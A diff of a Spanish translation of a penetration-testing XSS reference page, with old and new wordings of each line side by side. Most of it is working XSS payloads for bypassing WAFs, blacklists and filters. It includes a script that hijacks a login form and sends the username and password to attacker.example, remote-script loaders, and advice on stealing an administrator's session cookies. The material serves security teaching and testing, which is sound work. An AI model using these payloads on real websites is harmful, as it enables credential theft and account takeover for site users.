Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copy tags to clipboard**_. Luego, envíalos todos usando Burp intruder y comprueba si alguna etiqueta no fue marcada como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **hacer fuerza bruta de todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copy events to clipboard**_ y sigue el mismo procedimiento que antes).
|
||||
Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copy tags to clipboard**_. Luego, envía todos ellos usando Burp intruder y comprueba si algún tag no fue detectado como malicioso por el WAF. Una vez que hayas descubierto qué tags puedes usar, puedes **brute-force todos los events** usando los tags válidos (en la misma página haz clic en _**Copy events to clipboard**_ y sigue el mismo procedimiento que antes).
|
||||
|
||||
### Etiquetas personalizadas
|
||||
### Custom tags
|
||||
|
||||
Si no encontraste ninguna etiqueta HTML válida, podrías intentar **crear una etiqueta personalizada** y ejecutar código JS con el atributo `onfocus`. En la petición XSS, necesitas terminar la URL con `#` para hacer que la página ponga el foco en ese objeto y **ejecute** el código:
|
||||
Si no encuentras ningún tag HTML válido, puedes intentar **crear un custom tag** y ejecutar código JS con el atributo `onfocus`. En la petición XSS, necesitas terminar la URL con `#` para hacer que la página **haga focus en ese objeto** y **ejecute** el código:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Si se está usando algún tipo de blacklist, podrías intentar evadirla con algunos trucos tontos:
|
||||
Si se está usando algún tipo de blacklist, podrías intentar bypassearla con algunos trucos tontos:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -236,29 +236,29 @@ onerror=alert`1`
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
|
||||
> [!NOTE] > **Más tiny XSS para diferentes entornos** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) y [**here**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Más payloads tiny XSS para diferentes entornos** [**se pueden encontrar aquí**](https://github.com/terjanq/Tiny-XSS-Payloads) y [**aquí**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
El último está usando 2 caracteres unicode que se expanden a 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o en un formulario** con datos prellenados, podrías intentar [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
|
||||
Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o en un formulario** con datos prellenados, podrías intentar [**abusar de Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
|
||||
|
||||
### Imposible - Dangling Markup
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Si piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **JS**.
|
||||
Si piensas que **es imposible crear una etiqueta HTML con un atributo que ejecute código JS**, deberías revisar [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) porque podrías **exploit** la vulnerabilidad **sin** ejecutar código **JS**.
|
||||
|
||||
## Inyectando dentro de una etiqueta HTML
|
||||
|
||||
### Dentro de la etiqueta/escapando del valor del atributo
|
||||
|
||||
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [previous section](#injecting-inside-raw-html) para ejecutar código **JS**.\
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código **JS**, por ejemplo usando algún payload como (_nota: en este ejemplo se usan comillas dobles para escapar del atributo; no las necesitarás si tu input se refleja directamente dentro de la etiqueta_):
|
||||
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [previous section](#injecting-inside-raw-html) para ejecutar código JS.\
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo usando algún payload como (_nota que en este ejemplo se usan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -275,12 +275,12 @@ Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro
|
||||
```
|
||||
### Dentro del atributo
|
||||
|
||||
Aunque **no puedas escapar del atributo** (`"` está siendo codificado o eliminado), dependiendo de **qué atributo** refleja tu valor y **si controlas todo el valor o solo una parte** podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic.\
|
||||
Aunque **no puedas escapar del atributo** (`"` está siendo codificado o eliminado), dependiendo de **en qué atributo** se refleje tu valor y **si controlas todo el valor o solo una parte** podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic.\
|
||||
Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass dentro del evento usando HTML encoding/URL encode**
|
||||
|
||||
Los **caracteres codificados en HTML** dentro del valor de los atributos de etiquetas HTML se **decodifican en tiempo de ejecución**. Por lo tanto algo como lo siguiente será válido (la payload está en negrita): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
Los **caracteres HTML codificados** dentro del valor de los atributos de las etiquetas HTML son **decodificados en tiempo de ejecución**. Por lo tanto algo como lo siguiente será válido (la payload está en negrita): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Ten en cuenta que **cualquier tipo de HTML encode es válido**:
|
||||
```javascript
|
||||
@ -311,7 +311,7 @@ Ten en cuenta que **cualquier tipo de HTML encode es válido**:
|
||||
```
|
||||
### Protocolos especiales dentro del atributo
|
||||
|
||||
Allí puedes usar los protocolos **`javascript:`** o **`data:`** en algunos lugares para **ejecutar código JS arbitrario**. Algunos requerirán interacción del usuario, otros no.
|
||||
Ahí puedes usar los protocolos **`javascript:`** o **`data:`** en algunos lugares para **ejecutar código JS arbitrario**. Algunos requerirán interacción del usuario; otros no.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -353,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Otros trucos de ofuscación**
|
||||
**Otros obfuscation tricks**
|
||||
|
||||
_**En este caso, el truco de HTML encoding y el de Unicode encoding de la sección anterior también es válido, ya que estás dentro de un atributo.**_
|
||||
_**En este caso el HTML encoding y el Unicode encoding de la sección anterior también son válidos, ya que estás dentro de un atributo.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Además, hay otro **truco útil** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo URL encoded, será URL decoded antes de que se ejecute.** Entonces, si necesitas **escape** del **string** usando una **single quote** y ves que **está siendo URL encoded**, recuerda que **no importa,** será **interpretado** como una **single quote** durante el **execution** time.
|
||||
Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en la URL, será decodificada antes de que se ejecute.** Entonces, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en la URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el tiempo de **ejecución**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Ten en cuenta que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar el **payload** **no** **funcionará**, pero puedes **mezclarlos dentro del payload**.
|
||||
Ten en cuenta que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar el **payload** no **funcionará**, pero puedes **mezclarlos dentro del payload**.
|
||||
|
||||
**Usando Hex y Octal encode con `javascript:`**
|
||||
**Uso de codificación Hex y Octal con `javascript:`**
|
||||
|
||||
Puedes usar **Hex** y **Octal encode** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
|
||||
Puedes usar **codificación Hex y Octal** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -394,8 +394,8 @@ Si puedes inyectar cualquier URL en una etiqueta arbitraria **`<a href=`** que c
|
||||
|
||||
### on Event Handlers Bypass
|
||||
|
||||
Primero consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener **"on" event handlers**.\
|
||||
En caso de que exista alguna blacklist que te impida crear estos event handlers, puedes intentar los siguientes bypasses:
|
||||
Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para encontrar **"on" event handlers** útiles.\
|
||||
En caso de que alguna blacklist te impida crear estos event handlers, puedes probar los siguientes bypasses:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -410,9 +410,9 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### XSS en "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
|
||||
Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de hidden inputs con:**
|
||||
Desde [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de hidden inputs con:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
@ -431,35 +431,35 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Desde [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar un **XSS payload dentro de un atributo hidden**, siempre que puedas **persuadir** a la **víctima** para que pulse la **combinación de teclas**. En Firefox en Windows/Linux la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente usando una tecla diferente en el access key attribute. Aquí está el vector:
|
||||
Desde [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar un **XSS payload dentro de un atributo oculto**, siempre que puedas **persuadir** a la **víctima** para que pulse la **combinación de teclas**. En Firefox en Windows/Linux la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación diferente usando otra tecla en el atributo accesskey. Aquí está el vector:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**El XSS payload será algo como esto: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Evasiones de Blacklist
|
||||
### Blacklist Bypasses
|
||||
|
||||
Varios trucos que usan diferentes codificaciones ya se expusieron en esta sección. Regresa para aprender dónde puedes usar:
|
||||
Varios trucos usando diferentes codificaciones ya se expusieron dentro de esta sección. Vuelve **atrás para aprender dónde puedes usar:**
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
- **Unicode encoding (puede ser código JS válido):** `\u0061lert(1)`
|
||||
- **URL encoding**
|
||||
- **Hex and Octal encoding**
|
||||
- **data encoding**
|
||||
|
||||
**Bypasses for HTML tags and attributes**
|
||||
|
||||
Lee la [Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
Lee la[ Blacklist Bypasses de la sección anterior](#blacklist-bypasses).
|
||||
|
||||
**Bypasses for JavaScript code**
|
||||
|
||||
Lee la [lista de bypass de JavaScript de la siguiente sección](#javascript-bypass-blacklists-techniques).
|
||||
Lee la [JavaScript bypass blacklist de la sección siguiente](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Si encuentras un **XSS en una parte muy pequeña** del sitio web que requiere algún tipo de interacción (tal vez un pequeño enlace en el footer con un onmouseover), puedes intentar **modificar el espacio que ocupa ese elemento** para maximizar las probabilidades de que el enlace se dispare.
|
||||
Si encuentras un **XSS en una parte muy pequeña** del sitio que requiere algún tipo de interacción (quizá un pequeño enlace en el footer con un elemento onmouseover), puedes intentar **modificar el espacio que ocupa ese elemento** para maximizar las probabilidades de que el enlace se dispare.
|
||||
|
||||
Por ejemplo, podrías añadir algo de estilo en el elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Por ejemplo, podrías añadir algún estilo al elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Pero, si el WAF está filtrando el atributo style, puedes usar CSS Styling Gadgets, así que si encuentras, por ejemplo
|
||||
|
||||
@ -469,15 +469,15 @@ and
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Now you can modify our link and bring it to the form
|
||||
Ahora puedes modificar nuestro enlace y llevarlo a la forma
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
Este truco fue tomado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Inyección dentro de código JavaScript
|
||||
## Inyectando dentro de código JavaScript
|
||||
|
||||
En este caso tu **input** será **reflejado dentro del código JS** de un archivo `.js` o entre etiquetas `<script>...</script>` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`.
|
||||
En estos casos tu **input** será **reflejado dentro del código JS** de un archivo `.js` o entre etiquetas `<script>...</script>` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`.
|
||||
|
||||
### Escapando la etiqueta \<script>
|
||||
|
||||
@ -485,11 +485,11 @@ Si tu código es insertado dentro de `<script> [...] var input = 'reflected data
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts embebidos se realiza solo después.
|
||||
Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis HTML se realiza primero por el navegador**, lo que implica identificar elementos de la página, incluidos bloques de script. El parseo de JavaScript para entender y ejecutar los scripts incrustados se lleva a cabo solo después.
|
||||
|
||||
### Dentro del código JS
|
||||
### Inside JS code
|
||||
|
||||
Si `<>` se están sanitizando, aún puedes **escapar la cadena** donde tu input está **ubicado** y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay errores, el código JS no se ejecutará:
|
||||
Si `<>` están siendo sanitised todavía puedes **escapar la cadena** donde se encuentra tu entrada y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay errores, el código JS no se ejecutará:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -497,7 +497,7 @@ Si `<>` se están sanitizando, aún puedes **escapar la cadena** donde tu input
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
Cuando la entrada del usuario cae dentro de una quoted JavaScript string (p. ej., server-side echo dentro de un inline script), puedes terminar la string, inject code y reparar la sintaxis para mantener el parsing válido. Esqueleto genérico:
|
||||
Cuando la entrada del usuario cae dentro de una cadena JavaScript entrecomillada (p. ej., echo del lado del servidor dentro de un inline script), puedes terminar la cadena, inyectar código y reparar la sintaxis para mantener el parsing válido. Esqueleto genérico:
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
@ -508,14 +508,13 @@ Ejemplo de patrón de URL cuando el parámetro vulnerable se refleja en una cade
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
Esto ejecuta attacker JS sin necesidad de tocar el contexto HTML (puro JS-in-JS). Combínalo con blacklist bypasses más abajo cuando los filtros bloqueen keywords.
|
||||
Esto ejecuta JS del atacante sin necesitar tocar el contexto HTML (pure JS-in-JS). Combina con los blacklist bypasses abajo cuando los filtros bloqueen palabras clave.
|
||||
|
||||
### Template literals ``
|
||||
### Literales de plantilla \`\`
|
||||
|
||||
Para construir **strings**, además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como template literals ya que permiten **embedded JS expressions** usando `${ ... }` syntax.\
|
||||
Por lo tanto, si encuentras que tu input está siendo **reflected** dentro de una JS string que está usando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **arbitrary JS code**:
|
||||
Para construir **strings**, además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla ya que permiten **incrustar expresiones JS** usando la sintaxis `${ ... }`.\ Por lo tanto, si encuentras que tu entrada se está **reflejando** dentro de una JS string que usa backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||
|
||||
Esto puede ser **abused** using:
|
||||
Esto puede ser **abusado** usando:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -527,33 +526,35 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Ejecución de code codificado
|
||||
### Encoded code execution
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
#### Payloads entregables con eval(atob()) y matices de alcance
|
||||
#### Payloads entregables con eval(atob()) y matices de scope
|
||||
|
||||
Para mantener las URLs más cortas y eludir filtros ingenuos de palabras clave, puedes base64-encode tu lógica real y evaluarla con `eval(atob('...'))`. Si un filtrado simple de palabras clave bloquea identificadores como `alert`, `eval` o `atob`, usa identificadores escapados en Unicode que compilan idénticamente en el navegador pero evaden los filtros de coincidencia de cadenas:
|
||||
Para mantener las URLs más cortas y sortear filtros de palabras clave ingenuos, puedes codificar tu lógica real en base64 y evaluarla con `eval(atob('...'))`. Si un filtrado sencillo de palabras clave bloquea identificadores como `alert`, `eval` o `atob`, usa identificadores escapados en Unicode que compilan idénticamente en el navegador pero evaden los filtros por coincidencia de cadenas:
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
Matiz importante sobre el alcance: `const`/`let` declarados dentro de `eval()` son de alcance de bloque y NO crean variables globales; no serán accesibles para scripts posteriores. Usa un elemento `<script>` inyectado dinámicamente para definir hooks globales no reasignables cuando sea necesario (p. ej., para hijack un form handler):
|
||||
Matiz importante sobre el alcance: `const`/`let` declarados dentro de `eval()` son block-scoped y NO crean globals; no serán accesibles para scripts posteriores. Usa un elemento `<script>` inyectado dinámicamente para definir hooks globales no reasignables cuando sea necesario (p. ej., para hijack a form handler):
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
document.head.appendChild(s);
|
||||
```
|
||||
Referencia: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Codificación Unicode para ejecución de JS
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### Técnicas de bypass de blacklists en JavaScript
|
||||
### Técnicas de JavaScript bypass blacklists
|
||||
|
||||
**Strings**
|
||||
```javascript
|
||||
@ -572,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
||||
atob("dGhpc2lzYXN0cmluZw==")
|
||||
eval(8680439..toString(30))(983801..toString(36))
|
||||
```
|
||||
**Secuencias de escape especiales**
|
||||
**Escapes especiales**
|
||||
```javascript
|
||||
"\b" //backspace
|
||||
"\f" //form feed
|
||||
@ -714,7 +715,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Llamada a función arbitraria (alert)**
|
||||
**Llamada arbitraria a una función (alert)**
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
@ -776,53 +777,54 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **Vulnerabilidades DOM**
|
||||
|
||||
Hay **código JS** que usa **datos controlados de forma insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
|
||||
**Debido a la extensión de la explicación sobre** [**las vulnerabilidades DOM se movieron a esta página**](dom-xss.md)**:**
|
||||
Hay **JS code** que está usando **datos controlados de forma insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
|
||||
**Debido a la extensión de la explicación de** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
|
||||
Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
También, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Escalando Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Si puedes disparar un XSS enviando el payload dentro de una cookie, esto suele ser un Self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de ese XSS para inyectar una cookie en todo el dominio logrando disparar el cookie XSS en el dominio principal u otros subdominios (aquellos vulnerables a cookie XSS). Para esto puedes usar el cookie tossing attack:
|
||||
Si puedes desencadenar un XSS enviando el payload dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de ese XSS para inyectar una cookie en todo el dominio, logrando activar el cookie XSS en el dominio principal u otros subdominios (los que sean vulnerables a cookie XSS). Para esto puedes usar el cookie tossing attack:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
Puedes encontrar un gran abuso de esta técnica en [**este post del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Puedes encontrar un gran abuso de esta técnica en [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Enviar tu sesión al admin
|
||||
### Enviar tu sesión al administrador
|
||||
|
||||
Quizá un usuario pueda compartir su perfil con el admin y si el Self-XSS está dentro del perfil del usuario y el admin lo accede, éste activará la vulnerabilidad.
|
||||
Quizá un usuario pueda compartir su perfil con el administrador y si el self XSS está dentro del perfil del usuario y el administrador lo accede, éste desencadenará la vulnerabilidad.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
Si encuentras algún Self XSS y la web tiene **session mirroring para administradores**, por ejemplo permitiendo a los clientes pedir ayuda y para que el admin te ayude él verá lo que tú ves en tu sesión pero desde su sesión.
|
||||
Si encuentras algún self XSS y la web tiene **session mirroring for administrators**, por ejemplo permitiendo a clientes pedir ayuda y para que el administrador te ayude él verá lo que tú estás viendo en tu sesión pero desde su sesión.
|
||||
|
||||
Podrías hacer que el **administrador dispare tu Self XSS** y robar sus cookies/sesión.
|
||||
Podrías conseguir que el administrador desencadene tu self XSS y robar sus cookies/sesión.
|
||||
|
||||
## Otros Bypasses
|
||||
|
||||
### Normalised Unicode
|
||||
### Unicode normalizado
|
||||
|
||||
Podrías comprobar si los **valores reflejados** están siendo **unicode normalized** en el servidor (o en el cliente) y abusar de esta funcionalidad para eludir protecciones. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
Puedes comprobar si los **valores reflejados** están siendo **normalizados en Unicode** en el servidor (o en el cliente) y abusar de esta funcionalidad para eludir protecciones. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
### Bypass del flag PHP FILTER_VALIDATE_EMAIL
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Debido a **RoR mass assignment** se insertan comillas en el HTML y así se elude la restricción de comillas y se pueden añadir campos adicionales (onfocus) dentro de la etiqueta.\
|
||||
Ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)), si envías el payload:
|
||||
Debido a **RoR mass assignment** se insertan comillas en el HTML y así se evita la restricción de comillas, permitiendo añadir campos adicionales (onfocus) dentro de la etiqueta.\
|
||||
Ejemplo de formulario ([from this report](https://hackerone.com/reports/709336)), si envías el payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
@ -830,7 +832,7 @@ El par "Key","Value" se devolverá así:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Entonces, se insertará el atributo onfocus y ocurre XSS.
|
||||
Entonces, se insertará el atributo onfocus y ocurrirá XSS.
|
||||
|
||||
### Combinaciones especiales
|
||||
```html
|
||||
@ -862,16 +864,16 @@ Entonces, se insertará el atributo onfocus y ocurre XSS.
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS con inyección de cabeceras en una respuesta 302
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
Si descubres que puedes **inyectar headers en una respuesta 302 Redirect** podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el status code es 302, por lo que simplemente un payload de cross-site scripting es inútil.
|
||||
Si descubres que puedes **inject headers in a 302 Redirect response** podrías intentar **hacer que el browser ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el HTTP response body si el HTTP response status code es un 302, por lo que un simple cross-site scripting payload es inútil.
|
||||
|
||||
En [**this report**](https://www.gremwell.com/firefox-xss-302) y [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del Location header y ver si alguno de ellos permite al navegador inspeccionar y ejecutar el XSS payload dentro del body.\
|
||||
En [**this report**](https://www.gremwell.com/firefox-xss-302) y [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del Location header y ver si alguno permite al browser inspeccionar y ejecutar el XSS payload dentro del body.\
|
||||
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### Solo letras, números y puntos
|
||||
|
||||
Si eres capaz de indicar el **callback** que javascript va a **ejecutar** limitado a esos caracteres. [**Read this section of this post**](#javascript-function) para ver cómo abusar de este comportamiento.
|
||||
Si puedes indicar el **callback** que javascript va a **execute** limitado a esos caracteres. [**Read this section of this post**](#javascript-function) para ver cómo abusar de este behaviour.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
@ -879,7 +881,7 @@ Si eres capaz de indicar el **callback** que javascript va a **ejecutar** limita
|
||||
|
||||
